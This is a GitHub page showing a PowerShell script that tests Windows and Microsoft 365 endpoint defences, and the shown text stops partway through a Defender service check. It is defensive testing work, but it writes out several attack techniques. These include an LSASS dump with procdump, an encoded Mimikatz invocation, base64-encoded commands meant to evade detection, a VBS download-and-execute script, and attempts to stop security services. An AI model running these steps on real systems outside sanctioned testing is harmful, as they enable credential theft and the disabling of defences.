forked from directorcia/Office365
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsec-test.ps1
1410 lines (1327 loc) · 65.2 KB
/
sec-test.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
param(
[switch]$debug = $false, ## if -debug parameter don't prompt for input
[switch]$noprompt = $false ## if -noprompt parameter used don't prompt user for input
)
<# CIAOPS
Script provided as is. Use at own risk. No guarantees or warranty provided.
Description - Perform security tests in your environment
Source - https://github.com/directorcia/Office365/blob/master/sec-test.ps1
Documentation - https://blog.ciaops.com/2021/06/29/is-security-working-powershell-script/
Video wlak through - https://www.youtube.com/watch?v=Cq0tj6kfSBo
Resources - https://demo.wd.microsoft.com/
Prerequisites = Windows 10, OFfice, valid Microsoft 365 login, endpoint security
#>
#Region Variables
$systemmessagecolor = "cyan"
$processmessagecolor = "green"
$errormessagecolor = "red"
$warningmessagecolor = "yellow"
#EndRegion Variables
function displaymenu($mitems) {
$mitems += [PSCustomObject]@{
Number = 1;
Test = "Download EICAR file"
}
$mitems += [PSCustomObject]@{
Number = 2;
Test = "Create EICAR file in current directory"
}
$mitems += [PSCustomObject]@{
Number = 3;
Test = "Create malware in memory"
}
$mitems += [PSCustomObject]@{
Number = 4;
Test = "Attempt LSASS process dump"
}
$mitems += [PSCustomObject]@{
Number = 5;
Test = "Mimikatz test"
}
$mitems += [PSCustomObject]@{
Number = 6;
Test = "Generate failed Microsoft 365 login"
}
$mitems += [PSCustomObject]@{
Number = 7;
Test = "Office applications creating child processes"
}
$mitems += [PSCustomObject]@{
Number = 8;
Test = "Office applications creating executables"
}
$mitems += [PSCustomObject]@{
Number = 9;
Test = "Impede Javascript and VBScript launch executables"
}
$mitems += [PSCustomObject]@{
Number = 10;
Test = "Block Win32 imports from Macro code in Office"
}
$mitems += [PSCustomObject]@{
Number = 11;
Test = "Block Process Creations originating from PSExec & WMI commands"
}
$mitems += [PSCustomObject]@{
Number = 12;
Test = "Block VBS script to download then execute"
}
$mitems += [PSCustomObject]@{
Number = 13;
Test = "Network protection (web browser)"
}
$mitems += [PSCustomObject]@{
Number = 14;
Test = "Suspicious web page (web browser)"
}
$mitems += [PSCustomObject]@{
Number = 15;
Test = "Phishing web page (web browser)"
}
$mitems += [PSCustomObject]@{
Number = 16;
Test = "Block download on reputation (web browser)"
}
$mitems += [PSCustomObject]@{
Number = 17;
Test = "Browser exploit protection (web browser)"
}
$mitems += [PSCustomObject]@{
Number = 18;
Test = "Mailcious browser frame protection (web browser)"
}
$mitems += [PSCustomObject]@{
Number = 19;
Test = "Unknown program protection (web browser)"
}
$mitems += [PSCustomObject]@{
Number = 20;
Test = "Known malicious program protection (web browser)"
}
$mitems += [PSCustomObject]@{
Number = 21;
Test = "Potentially unwanted application protection (web browser)"
}
$mitems += [PSCustomObject]@{
Number = 22;
Test = "Block at first seen (web browser)"
}
$mitems += [PSCustomObject]@{
Number = 23;
Test = "Check Windows Defender Services"
}
$mitems += [PSCustomObject]@{
Number = 24;
Test = "Check Windows Defender Configuration"
}
$mitems += [PSCustomObject]@{
Number = 25;
Test = "Check MSHTA script launch"
}
$mitems += [PSCustomObject]@{
Number = 26;
Test = "Squiblydoo attack"
}
$mitems += [PSCustomObject]@{
Number = 27;
Test = "Block Certutil download"
}
$mitems += [PSCustomObject]@{
Number = 28;
Test = "Block WMIC process launch"
}
$mitems += [PSCustomObject]@{
Number = 29;
Test = "Block RUNDLL32 process launch"
}
$mitems += [PSCustomObject]@{
Number = 30;
Test = "PrintNightmare/Mimispool"
}
$mitems += [PSCustomObject]@{
Number = 31;
Test = "HiveNightmare/CVE-2021-36934"
}
$mitems += [PSCustomObject]@{
Number = 32;
Test = "MSHTML/CVE-2021-40444"
}
$mitems += [PSCustomObject]@{
Number = 33;
Test = "Forms 2.0 HTML controls"
}
$mitems += [PSCustomObject]@{
Number = 34;
Test = "Word document Backdoor drop"
}
$mitems += [PSCustomObject]@{
Number = 35;
Test = "PowerShell script in fileless attack"
}
$mitems += [PSCustomObject]@{
Number = 36;
Test = "Dump credentials using SQLDumper.exe"
}
$mitems += [PSCustomObject]@{
Number = 37;
Test = "Dump credentials using COMSVCS"
}
$mitems += [PSCustomObject]@{
Number = 38;
Test = "Mask Powershell.exe as Notepad.exe"
}
$mitems += [PSCustomObject]@{
Number = 39;
Test = "Create scheduled tasks"
}
return $mitems
}
function downloadfile() {
write-host -ForegroundColor white -backgroundcolor blue "`n--- 1. Download EICAR file ---"
$dldetect=$true
write-host -foregroundcolor $processmessagecolor "Download eicar.com.txt file to current directory"
if (Test-Path -Path .\eicar.com.txt -PathType Leaf) {
write-host -foregroundcolor $processmessagecolor "Detected existing eicar.com.txt file in current directory."
Remove-Item .\eicar1.com.txt
write-host -foregroundcolor $processmessagecolor "Delected previous eicar.com.txt version in current directory."
}
Invoke-WebRequest -Uri https://secure.eicar.org/eicar.com.txt -OutFile .\eicar.com.txt
write-host -foregroundcolor $processmessagecolor "Verify eicar.com.txt file in current directory"
try {
read-content .\eicar.com.txt
}
catch {
write-host -foregroundcolor $processmessagecolor "eicar.com.txt file download not found - test SUCCEEDED"
$dldetect=$false
}
if ($dldetect) {
write-host -foregroundcolor $warningmessagecolor "eicar.com.txt file download found - test FAILED"
$dlexist = $true
try {
$dlsize = (Get-ChildItem ".\eicar.com.txt").Length
}
catch {
$dlexist = $false
write-host -foregroundcolor $processmessagecolor "eicar.com.txt download not found - test SUCCEEDED"
}
if ($dlexist) {
if ($dlsize -ne 0) {
write-host -foregroundcolor $errormessagecolor "eicar.com.txt download file length > 0 - test FAILED"
}
}
}
}
function createfile(){
write-host -ForegroundColor white -backgroundcolor blue "`n--- 2. Create EICAR file in current directory ---"
set-content .\eicar1.com.txt:EICAR "X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
write-host -foregroundcolor $processmessagecolor "Attempt eicar1.com.txt file creation from memory"
$crdetect = $false
write-host -foregroundcolor $processmessagecolor "Check Windows Defender logs for eicar1 report"
$results = get-mpthreatdetection | sort-object initialdetectiontime -Descending
$item = 0
foreach ($result in $results) {
if ($result.actionsuccess -and ($result.resources -match "eicar1")) {
++$item
write-host "`nItem =",$item
write-host "Initial detection time =",$result.initialdetectiontime
write-host "Process name =",$result.processname
write-host -foregroundcolor $processmessagecolor "Resource = ",$result.resources
$crdetect = $true
}
}
if ($crdetect) {
write-host -foregroundcolor $processmessagecolor "`nEICAR file creation detected - test SUCCEEDED"
}
else {
write-host -foregroundcolor $errormessagecolor "`nEICAR file creation not detected - test FAILED"
}
$crdetect = $true
try {
$fileproperty = get-itemproperty .\eicar1.com.txt
}
catch {
write-host -foregroundcolor $processmessagecolor "eicar1.com.txt file not detected - test SUCCEEDED"
$crdetect = $false
}
if ($crdetect) {
if ($fileproperty.Length -eq 0) {
write-host -foregroundcolor $processmessagecolor "eicar1.com.txt detected with file size = 0 - test SUCCEEDED"
write-host -foregroundcolor $processmessagecolor "Removing file .\EICAR1.COM.TXT"
Remove-Item .\eicar1.com.txt
}
else {
write-host -foregroundcolor $errormessagecolor "eicar1.com.txt detected but file size is not 0 - test FAILED"
}
}
}
function inmemorytest(){
write-host -ForegroundColor white -backgroundcolor blue "`n--- 3. In memory test ---"
$memdetect = $false
$errorfile = ".\sec-test-$(get-date -f yyyyMMddHHmmss).txt" # unique output file
$s1 = "AMSI Test Sample: 7e72c3ce" # first half of EICAR string
$s2 = "-861b-4339-8740-0ac1484c1386" # second half of EICAR string
$s3=($s1+$s2) # combined EICAR string in one variable
$encodedcommand = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($s3)) # need to encode command so not detected and block in this script
write-host -foregroundcolor $processmessagecolor "Launch Powershell child process to output EICAR string to console"
Start-Process powershell -ArgumentList "-EncodedCommand $encodedcommand" -wait -WindowStyle Hidden -redirectstandarderror $errorfile
write-host -foregroundcolor $processmessagecolor "Attempt to read output file created by child process"
try {
$result = get-content $errorfile -ErrorAction Stop # look at child process error output
}
catch { # if unable to open file this is because EICAR strng found in there
write-host -foregroundcolor $processmessagecolor "In memory malware creation blocked - test SUCCEEDED"
write-host -foregroundcolor $processmessagecolor "Removing file $errorfile"
remove-item $errorfile # remove child process error output file
$memdetect = $true # set detection state = found
}
if (-not $memdetect) {
write-host -foregroundcolor $errormessagecolor "In memory test malware creation not block - test FAILED"
write-host -ForegroundColor $errormessagecolor "Recommended action = review file $errorfile"
}
}
function processdump() {
write-host -ForegroundColor white -backgroundcolor blue "`n--- 4. Attempt LSASS process dump ---"
$result = test-path ".\procdump.exe"
$procdump = $true
if (-not $result) {
write-host -foregroundcolor $warningmessagecolor "SysInternals procdump.exe not found in current directory"
if ($noprompt) { # if running the script with no prompting
do {
$result = Read-host -prompt "Download SysInternals procdump (Y/N)?"
} until (-not [string]::isnullorempty($result))
}
else {
$result = 'Y'
}
if ($result -eq 'Y' -or $result -eq 'y') {
write-host -foregroundcolor $processmessagecolor "Download procdump.zip to current directory"
invoke-webrequest -uri https://download.sysinternals.com/files/Procdump.zip -outfile .\procdump.zip
write-host -foregroundcolor $processmessagecolor "Expand procdump.zip file to current directory"
Expand-Archive -LiteralPath .\procdump.zip -DestinationPath .\ -Force
$result = test-path ".\procdump.exe"
if ($result) {
write-host -foregroundcolor $processmessagecolor "procdump.exe found in current directory"
}
else {
write-host -foregroundcolor $errormessagecolor "procdump.exe not found in current directory"
$procdump = $false
}
}
else {
$procdump = $false
}
}
if ($procdump) {
$accessdump = $true
try {
write-host -nonewline -foregroundcolor $processmessagecolor "Attempt process dump in current user context = "
$result = .\procdump.exe -mm lsass.exe lsass.dmp -accepteula
}
catch {
if ($error[0] -match "Access is denied") {
write-host -foregroundcolor $processmessagecolor "Access denied - Unable to process dump in current user context - test SUCCEEDED"
$accessdump = $false
}
else {
write-host -foregroundcolor $processmessagecolor $error[0]
}
}
if ($result -match "Access is denied") {
write-host -foregroundcolor $processmessagecolor "Access denied - Unable to process dump in current user context - test SUCCEEDED"
$accessdump = $false
}
else {
$result = test-path ".\lsass.dmp"
if ($result) {
write-host -foregroundcolor $errormessagecolor "Dump file found - test FAILED"
$accessdump = $true
write-host -foregroundcolor $processmessagecolor "Removing dump file .\LSASS.DMP"
Remove-Item ".\lsass.dmp"
}
}
try {
write-host -nonewline -foregroundcolor $processmessagecolor "Attempt process dump in admin context = "
$error.Clear() # Clear any existing errors
start-process -filepath ".\procdump.exe" -argumentlist "-mm -o lsass.exe lsass.dmp" -verb runas -wait -WindowStyle Hidden
}
catch {
if ($error[0] -match "Access is denied") {
write-host -foregroundcolor $processmessagecolor "Access denied - Unable to process dump in admin context - test SUCCEEDED"
$accessdump = $false
}
}
$result = test-path ".\lsass.dmp"
if ($result) {
write-host -foregroundcolor $errormessagecolor "Dump file found - test FAILED"
$accessdump = $true
write-host -foregroundcolor $processmessagecolor "Removing dump file .\LSASS.DMP"
Remove-Item ".\lsass.dmp"
}
if ($accessdump) {
write-host -foregroundcolor $errormessagecolor "Able to process dump or other error - test FAILED"
}
}
}
function mimikatztest() {
write-host -ForegroundColor white -backgroundcolor blue "`n--- 5. Mimikatz test ---"
$errorfile = ".\sec-test-$(get-date -f yyyyMMddHHmmss).txt" # unique output file
$s1 = "invoke-" # first half of command
$s2 = "mimikatz" # second half of command
$s3=($s1+$s2) # combined EICAR string in one variable
$encodedcommand = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($s3)) # need to encode command so not detected and block in this script
write-host -foregroundcolor $processmessagecolor "Launch Powershell child process to output Mimikatz command string to console"
Start-Process powershell -ArgumentList "-EncodedCommand $encodedcommand" -wait -WindowStyle Hidden -redirectstandarderror $errorfile
write-host -foregroundcolor $processmessagecolor "Attempt to read output file created by child process"
try {
$result = get-content $errorfile -ErrorAction Stop # look at child process error output
}
catch { # if unable to open file this is because EICAR strng found in there
write-host -foregroundcolor $errormessagecolor "[ERROR] Output file not found"
}
if ($result -match "This script contains malicious content and has been blocked by your antivirus software") {
write-host -ForegroundColor $processmessagecolor "Malicious content and has been blocked by your antivirus software - test SUCCEEDED"
remove-item $errorfile # remove child process error output file
}
else {
write-host -foregroundcolor $errormessagecolor "Malicious content NOT DETECTED = review file $errorfile - test FAILED"
}
}
function failedlogin() {
write-host -ForegroundColor white -backgroundcolor blue "`n--- 6. Generate Microsoft 365 failed login ---"
do {
$username = Read-host -prompt "Enter valid Microsoft 365 email address to generate failed login"
} until (-not [string]::isnullorempty($username))
$password="1"
$URL = "https://login.microsoft.com"
$BodyParams = @{"resource" = "https://graph.windows.net"; "client_id" = "1b730954-1685-4b74-9bfd-dac224a7b894" ; "client_info" = "1" ; "grant_type" = "password" ; "username" = $username ; "password" = $password ; "scope" = "openid"}
$PostHeaders = @{"Accept" = "application/json"; "Content-Type" = "application/x-www-form-urlencoded"}
try {
$webrequest = Invoke-WebRequest $URL/common/oauth2/token -Method Post -Headers $PostHeaders -Body $BodyParams -ErrorVariable RespErr
}
catch {
switch -wildcard ($RespErr)
{
"*AADSTS50126*" {write-host -foregroundcolor $processmessagecolor "Error validating credentials due to invalid username or password as expected - check your logs"; break}
"*AADSTS50034*" {write-host -foregroundcolor $warningmessagecolor "User $username doesnt exist"; break}
"*AADSTS50053*" {write-host -foregroundcolor $warningmessagecolor "User $username appears to be locked"; break}
"*AADSTS50057*" {write-host -foregroundcolor $warningmessagecolor "User $username appears to be disabled"; break}
default {write-host -foregroundcolor $warningmessagecolor "Unknown error for user $username"}
}
}
}
function officechildprocess() {
write-host -ForegroundColor white -backgroundcolor blue "`n--- 7. Office applications creating child processes ---"
write-host -foregroundcolor $processmessagecolor "Download test Word document to current directory"
Invoke-WebRequest -Uri https://demo.wd.microsoft.com/Content/TestFile_OfficeChildProcess_D4F940AB-401B-4EFC-AADC-AD5F3C50688A.docm -OutFile .\TestFile_OfficeChildProcess_D4F940AB-401B-4EFC-AADC-AD5F3C50688A.docm
write-host -foregroundcolor $processmessagecolor "Open document using Word"
Start-Process winword.exe -ArgumentList ".\TestFile_OfficeChildProcess_D4F940AB-401B-4EFC-AADC-AD5F3C50688A.docm"
write-host "`n1. Ensure that a Run Time Error is displayed."
write-host "2. Please close Word once complete.`n"
write-host -foregroundcolor $warningmessagecolor "If Command Prompt opens, then the test has FAILED`n"
pause
write-host -foregroundcolor $processmessagecolor "Delete .\TestFile_OfficeChildProcess_D4F940AB-401B-4EFC-AADC-AD5F3C50688A.docm"
remove-item .\TestFile_OfficeChildProcess_D4F940AB-401B-4EFC-AADC-AD5F3C50688A.docm
}
function officecreateexecutable() {
write-host -ForegroundColor white -backgroundcolor blue "`n--- 8. Office applications creating executables ---"
write-host -foregroundcolor $processmessagecolor "Download test Word document to current directory"
Invoke-WebRequest -Uri https://demo.wd.microsoft.com/Content/TestFile_Block_Office_applications_from_creating_executable_content_3B576869-A4EC-4529-8536-B80A7769E899.docm -OutFile .\TestFile_Block_Office_applications_from_creating_executable_content_3B576869-A4EC-4529-8536-B80A7769E899.docm
write-host -foregroundcolor $processmessagecolor "Open document using Word"
Start-Process winword.exe -ArgumentList ".\TestFile_Block_Office_applications_from_creating_executable_content_3B576869-A4EC-4529-8536-B80A7769E899.docm"
write-host "`n1. Ensure that no executable runs."
write-host "2. A macro error/warning should be displayed"
write-host "3. Please close Word once complete.`n"
pause
write-host -foregroundcolor $processmessagecolor "Delete TestFile_Block_Office_applications_from_creating_executable_content_3B576869-A4EC-4529-8536-B80A7769E899.docm"
remove-item .\TestFile_Block_Office_applications_from_creating_executable_content_3B576869-A4EC-4529-8536-B80A7769E899.docm
}
function scriptlaunch() {
write-host -ForegroundColor white -backgroundcolor blue "`n--- 9. Impede Javascript and VBScript launch executables ---"
write-host -foregroundcolor $processmessagecolor "Create DLTEST.JS file in current directory"
$body = @"
// SCPT:xmlHttpRequest
var xmlHttp = WScript.CreateObject("MSXML2.XMLHTTP");
xmlHttp.open("GET", "https://www.bing.com", false);
xmlHttp.send();
// SCPT:JSRunsFile
var shell = WScript.CreateObject("WScript.Shell");
shell.Run("notepad.exe");
"@
set-content -Path .\dltest.js $body
write-host -foregroundcolor $processmessagecolor "Execute DLTEST.JS file in current directory"
start-process .\dltest.js
write-host "1. A Windows Script Host error dialog box should have appeared."
write-host "2. It should read:`n"
write-host " Error: This script is blocked by IT policy"
write-host " Code: 800A802E`n"
write-host -foregroundcolor $warningmessagecolor "If NOTEPAD is executed, then the test has FAILED`n"
pause
write-host -foregroundcolor $processmessagecolor "Delete DLTEST.JS"
remove-item .\dltest.js
}
function officemacroimport() {
write-host -ForegroundColor white -backgroundcolor blue "`n--- 10. Block Win32 imports from Macro code in Office ---"
write-host -foregroundcolor $processmessagecolor "Download test Word document to current directory"
Invoke-WebRequest -Uri https://demo.wd.microsoft.com/Content/Block_Win32_imports_from_Macro_code_in_Office_92E97FA1-2EDF-4476-BDD6-9DD0B4DDDC7B.docm -OutFile .\Block_Win32_imports_from_Macro_code_in_Office_92E97FA1-2EDF-4476-BDD6-9DD0B4DDDC7B.docm
write-host -foregroundcolor $processmessagecolor "Open document using Word"
Start-Process winword.exe -ArgumentList ".\Block_Win32_imports_from_Macro_code_in_Office_92E97FA1-2EDF-4476-BDD6-9DD0B4DDDC7B.docm"
write-host "`n1. Ensure that no macros runs and a warning appears."
write-host "2. Close Word once complete.`n"
pause
write-host -foregroundcolor $processmessagecolor "Delete Block_Win32_imports_from_Macro_code_in_Office_92E97FA1-2EDF-4476-BDD6-9DD0B4DDDC7B.docm"
remove-item .\Block_Win32_imports_from_Macro_code_in_Office_92E97FA1-2EDF-4476-BDD6-9DD0B4DDDC7B.docm
}
function psexecwmicreation() {
write-host -ForegroundColor white -backgroundcolor blue "`n--- 11. Block Process Creations originating from PSExec & WMI commands ---"
write-host -foregroundcolor $processmessagecolor "Create DLTEST.VBS file in current directory"
$body = @"
on error resume next
set process = GetObject("winmgmts:Win32_Process")
WScript.Echo "Executing notepad"
result = process.Create ("notepad.exe",null,null,processid)
WScript.Echo "Method returned result = " & result
WScript.Echo "Id of new process is " & processid
"@
set-content -Path .\dltest.vbs $body
write-host -foregroundcolor $processmessagecolor "Execute DLTEST.VBS file in current directory"
start-process .\dltest.vbs
write-host "`n1. NOTEPAD should NOT run."
write-host "2. A dialog should appear that says - Executing notepad"
write-host "3. After you press OK button, dialog should say - Method returned result = 2"
write-host "4. After you press OK button again, should say - Id of new process is"
write-host "5. There should be NO number displayed in this dialog box"
write-host "6. Press OK button to end test`n"
write-host -foregroundcolor $warningmessagecolor "If NOTEPAD executed and/or there is a Process Id number displayed, the test has FAILED`n"
pause
write-host -foregroundcolor $processmessagecolor "Delete DLTEST.VBS"
remove-item .\dltest.vbs
}
function scriptdlexecute() {
write-host -ForegroundColor white -backgroundcolor blue "`n--- 12. Block VBS script to download then execute ---"
write-host -foregroundcolor $processmessagecolor "Create DLTEST2.VBS file in current directory"
$body = @"
Dim objShell
Dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", "https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe", False
xHttp.Send
with bStrm
.type = 1
.open
.write xHttp.responseBody
.savetofile "c:\temp\putty.exe", 2
end with
Set objShell = WScript.CreateObject( "WScript.Shell" )
objShell.Exec("c:\temp\putty.exe")
"@
set-content -Path .\dltest2.vbs $body
write-host -foregroundcolor $processmessagecolor "Execute DLTEST2.VBS file in current directory"
start-process .\dltest2.vbs
write-host "`n1. PUTTY.EXE should NOT run."
write-host "2. A dialog should appear that says`n"
write-host " Error: Write to file failed"
write-host " Code: 800A0BBC`n"
write-host "3. Press OK button to end test`n"
pause
write-host -foregroundcolor $processmessagecolor "Delete DLTEST2.VBS"
remove-item .\DLTEST2.vbs
write-host -foregroundcolor $processmessagecolor "Check for PUTTY.EXE in current directory"
$result = test-path ".\putty.exe"
if ($result) {
write-host -foregroundcolor $errormessagecolor "PUTTY.EXE found - test FAILED`n"
write-host -foregroundcolor $processmessagecolor "Delete PUTTY.EXE"
remove-item .\putty.exe
}
else {
write-host -foregroundcolor $processmessagecolor "PUTTY.EXE not found - test SUCCEEDED`n"
}
}
function networkprotection() {
$npdetect = $false
write-host -ForegroundColor white -backgroundcolor blue "`n--- 13. Network protection (web browser) ---"
write-host -foregroundcolor $processmessagecolor "Connect to test URL https://smartscreentestratings2.net/"
try {
$result = Invoke-WebRequest -Uri https://smartscreentestratings2.net/
}
catch {
if ($error[0] -match "The remote name could not be resolved") {
write-host -foregroundcolor $processmessagecolor "The remote name could not be resolved: smartscreentestratings2.net - test SUCCEEDED"
}
else {
write-host -foregroundcolor $errormessagecolor "Site resolved - test Failed"
}
$npdetect=$true
}
if (-not $npdetect) {
write-host -foregroundcolor $errormessagecolor "Navigation permitted - test FAILED"
}
}
function suspiciouspage() {
write-host -ForegroundColor white -backgroundcolor blue "`n--- 14. Suspicious web page (web browser) ---"
write-host -foregroundcolor $processmessagecolor "Connect to test URL https://demo.smartscreen.msft.net/other/areyousure.html"
start-process -filepath https://demo.smartscreen.msft.net/other/areyousure.html
write-host "`n1. Your default browser should open"
write-host "2. Your browser should indicate security issues with the page`n"
pause
}
function phishpage() {
write-host -ForegroundColor white -backgroundcolor blue "`n--- 15. Phishing web page (web browser) ---"
write-host -foregroundcolor $processmessagecolor "Connect to test URL https://demo.smartscreen.msft.net/phishingdemo.html"
start-process -filepath https://demo.smartscreen.msft.net/phishingdemo.html
write-host "`n1. Your default browser should open"
write-host "2. Your browser should indicate security issues with the page and be reported as unsafe`n"
pause
}
function downloadblock() {
write-host -ForegroundColor white -backgroundcolor blue "`n--- 16. Block download on reputation (web browser) ---"
write-host -foregroundcolor $processmessagecolor "Connect to test URL https://demo.smartscreen.msft.net/download/malwaredemo/freevideo.exe"
start-process -filepath https://demo.smartscreen.msft.net/download/malwaredemo/freevideo.exe
write-host "`n1. Your default browser should open"
write-host "2. Your browser should indicate security issues with the page and be reported as unsafe`n"
write-host -foregroundcolor $warningmessagecolor "You should be UNABLE to download and save a file from browser to local workstation`n"
pause
}
function exploitblock() {
write-host -ForegroundColor white -backgroundcolor blue "`n--- 17. Browser exploit protection (web browser) ---"
write-host -foregroundcolor $processmessagecolor "Connect to test URL https://demo.smartscreen.msft.net/other/exploit.html"
start-process -filepath https://demo.smartscreen.msft.net/other/exploit.html
write-host "`n1. Your default browser should open"
write-host "2. Your browser should indicate security issues with the page and be reported as unsafe`n"
pause
}
function maliciousframe() {
write-host -ForegroundColor white -backgroundcolor blue "`n--- 18. Mailcious browser frame protection (web browser) ---"
write-host -foregroundcolor $processmessagecolor "Connect to test URL https://demo.smartscreen.msft.net/other/exploit_frame.html"
start-process -filepath https://demo.smartscreen.msft.net/other/exploit_frame.html
write-host "`n1. Your default browser should open"
write-host "2. Your browser should indicate security issues with a frame in the page and be reported as unsafe`n"
pause
}
function unknownprogram() {
write-host -ForegroundColor white -backgroundcolor blue "`n--- 19. Unknown program protection (web browser) ---"
write-host -foregroundcolor $processmessagecolor "Connect to test URL https://demo.smartscreen.msft.net/download/unknown/freevideo.exe"
start-process -filepath https://demo.smartscreen.msft.net/download/unknown/freevideo.exe
write-host "`n1. Your default browser should open"
write-host "2. Your browser should warn that file blocked because it could harm your device`n"
write-host -foregroundcolor $warningmessagecolor "You should be UNABLE to download and save a file from browser to local workstation`n"
pause
}
function knownmalicious() {
write-host -ForegroundColor white -backgroundcolor blue "`n--- 20. Known malicious program protection (web browser) ---"
write-host -foregroundcolor $processmessagecolor "Connect to test URL https://demo.smartscreen.msft.net/download/known/knownmalicious.exe"
start-process -filepath https://demo.smartscreen.msft.net/download/known/knownmalicious.exe
write-host "`n1. Your default browser should open"
write-host "2. Your browser should warn that file blocked because it it is malicious`n"
write-host -foregroundcolor $warningmessagecolor "You should be UNABLE to download and save a file from browser to local workstation`n"
pause
}
function pua() {
write-host -ForegroundColor white -backgroundcolor blue "`n--- 21. Potentially unwanted application protection (web browser) ---"
write-host -foregroundcolor $processmessagecolor "Connect to test URL http://amtso.eicar.org/PotentiallyUnwanted.exe"
start-process -filepath http://amtso.eicar.org/PotentiallyUnwanted.exe
write-host "`n1. Your default browser should open"
write-host "2. Should not be able to reach this site or download the file`n"
write-host -foregroundcolor $warningmessagecolor "You should be UNABLE to download and save a file from browser to local workstation`n"
pause
}
function blockatfirst() {
write-host -ForegroundColor white -backgroundcolor blue "`n--- 22. Block at first seen (web browser) ---"
write-host -foregroundcolor $processmessagecolor "Connect to test URL"
start-process -filepath https://demo.wd.microsoft.com/page/BAFS
write-host "`n1. Your default browser should open"
write-host "2. Select the Create and download new file button"
write-host "3. You will need to login to a Microsoft 365 tenant"
write-host "4. You will need to provide app permissions to Microsoft Defender app for user`n"
write-host -foregroundcolor $warningmessagecolor "You should be UNABLE to download and save a file from browser to local workstation`n"
pause
}
function servicescheck() {
write-host -ForegroundColor white -backgroundcolor blue "`n--- 23. Check Windows Defender Services ---"
$result = get-service SecurityHealthService
if ($result.status -ne "Running") {
write-host -ForegroundColor $errormessagecolor "Windows Security Server Service is not running"
}
else {
write-host -ForegroundColor $processmessagecolor "Windows Security Server Service is running"
write-host -ForegroundColor $processmessagecolor -nonewline "- Attempt to stop Windows Security Server Service has "
$servicestop = $true
try {
$result = stop-service SecurityHealthService -ErrorAction Stop
}
catch {
write-host -ForegroundColor $processmessagecolor "failed"
$servicestop = $false
}
if ($servicestop) {
write-host -ForegroundColor $errormessagecolor "SUCCEEDED"
write-host -ForegroundColor $errormessagecolor "- Starting Windows Sercurity Server Service"
start-service SecurityHealthService -ErrorAction Stop
}
}
$result = get-service WinDefend
if ($result.status -ne "Running") {
write-host -ForegroundColor $errormessagecolor "Microsoft Defender Antivirus Service is not running"
}
else {
